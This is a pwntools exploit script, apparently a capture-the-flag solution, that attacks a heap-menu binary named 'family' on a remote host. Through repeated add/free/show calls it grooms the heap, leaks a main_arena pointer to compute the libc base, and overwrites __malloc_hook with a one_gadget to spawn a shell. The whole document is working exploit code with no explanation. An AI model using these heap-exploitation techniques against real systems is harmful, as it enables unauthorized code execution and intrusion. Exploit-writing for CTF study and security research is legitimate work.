1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152
| #! /usr/bin/env python
from pwn import *
#sh=process('./family') sh=remote('111.231.70.44',28083) elf=ELF('./family') #context.log_level='debug' libc=ELF('./x64-libc-2.23.so')
def add(size,content): sh.sendlineafter(':','1') sh.sendlineafter('How big a house do you want to build?\n',str(size)) sh.sendafter('How do you want to decorate your house?\n',content)
def free(index): sh.sendlineafter(':','2') sh.sendlineafter('Which house do you want to remove?\n',str(index))
def show(index): sh.sendlineafter(':','3') sh.sendlineafter('Which house do you want to view?\n',str(index))
def choice(): sh.sendlineafter(':','1'*0x400)
add(0x38, 'A\n') #0 add(0x40, 'A\n') #1 add(0x40, 'A\n') #2 add(0x40, 'A\n') #3 add(0x40, 'A\n') #4 add(0x40, 'A\n') #5 add(0x40, 'A\n') #6 payload = 'a' * 0x10 + p64(0x200) + p64(0x20)+'\n' add(0x28, payload) #7 add(0x38, 'end+\n') #8
for i in range(1, 8): free(i) choice()
free(0) add(0x38,'A'*0x38)
add(0x38, 'A\n') #1 add(0x38, 'B\n') #2 add(0x38, 'C\n') #3 add(0x38, 'x\n') #4 add(0x38, 'x\n') #5 add(0x28, 'x\n') #6 add(0x38, 'x\n') #7 add(0x38, 'x\n') #9
free(1) free(2) free(3) choice()
free(8) choice()
add(0x40, 'A\n') #1 add(0x40, 'A\n') #2 add(0x18, 'A\n') #3 add(0x38, 'A\n') #8 add(0x38, 'A\n') #10 add(0x28, 'A\n') #11 add(0x38, 'A\n') #12 add(0x28, 'A\n') #13 payload ='A'*0x10+p64(0x200) + p64(0x20)+'\n' add(0x28, payload) #14 add(0x28, 'end+\n') #15
free(1) free(2) free(3) free(8) for i in range(10,15): free(i) choice()
free(0) add(0x38,'A'*0x38)
add(0x38, 'A\n') #1 add(0x38, 'B\n') #2 add(0x38, 'C\n') #3
show(4) main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88 sh.success('main_arena : ' +hex(main_arena)) libc_base=main_arena-0x3c4b20 sh.success('libc_base :' +hex(libc_base)) malloc_hook=libc_base+libc.symbols['__malloc_hook'] sh.success('malloc_hook : ' +hex(malloc_hook)) one_gadget=libc_base+0x4526a sh.success('one_gadget : ' +hex(one_gadget)) realloc=libc_base+libc.symbols['realloc'] sh.success('realloc : ' +hex(realloc))
free(1) free(2) free(3) choice()
add(0x18, 'A\n') #1 add(0x28, 'B\n') #2 add(0x38, 'C\n') #3 add(0x18, 'D\n') #8
pay = p64(0) + p64(0x41)+'\n' add(0x18, pay) #10 add(0x28, 'asd\n') #11 add(0x38, 'zxc\n') # 5,12 add(0x28, 'qqq\n') # 6,13
add(0x38, 'a1\n') # 14 #add(0x28, 'a2\n') # 15
free(5) free(14) free(12)
free(6) free(15) free(13)
add(0x28, p64(0x41)+'\n') add(0x28, 'a\n') add(0x28, 'a\n')
add(0x38, p64(libc_base+0x3c4b20 +8)+'\n') add(0x38, 'a\n') add(0x38, 'a\n') free(1) free(10) free(8)
add(0x38, p64(libc_base + 0x3c4b20 + 8 + 0x20) + '\x00' * 0x10 + p64(0x41)+'\n') add(0x38, '\x00' * 0x20 + p64(malloc_hook-0x18)+'\n')
add(0x38, 'a\n') free(0) add(0x40,'A'*8+p64(one_gadget)+'\n')
free(14) sh.sendlineafter(':','1') sh.sendlineafter('How big a house do you want to build?\n',str(20))
#gdb.attach(sh) sh.interactive()
|